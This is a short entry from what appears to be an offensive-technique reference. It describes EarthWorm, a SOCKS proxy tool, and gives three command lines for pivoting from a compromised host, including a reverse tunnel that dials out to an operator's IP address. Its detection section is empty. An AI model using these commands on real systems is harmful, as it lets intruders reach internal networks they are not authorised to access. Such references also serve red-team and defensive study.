.. /EarthWorm
Star

Access

EarthWorm (ew) is a small, portable SOCKS proxy/port-forwarding tool distributed as static binaries for most platforms. It is widely used as a pivoting tool because a single binary can act as a direct SOCKS server, a reverse SOCKS client that dials out to an operator host, or a relay that bridges the two, which is useful for reaching internal network segments from a compromised host that can only make outbound connections.

Paths:

Resources:

Detections:

Access

  1. Runs a standalone SOCKS5 proxy directly on the compromised host.

    ew -s ssocksd -l <LOCAL_PORT>
    Use case
    Pivoting into the host's local network when the operator can reach the host directly.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Runs on the operator's host, listening for a reverse connection and exposing a SOCKS5 proxy once the target connects back.

    ew -s rcsocks -l <LISTEN_PORT> -e <RELAY_PORT>
    Use case
    Operator side of a reverse SOCKS5 pivot.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  3. Runs on the compromised host, dialing out to the operator's rcsocks listener to establish the reverse SOCKS5 tunnel.

    ew -s rssocks -d <OPERATOR_IP> -e <RELAY_PORT>
    Use case
    Pivoting from a host that can only make outbound connections.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS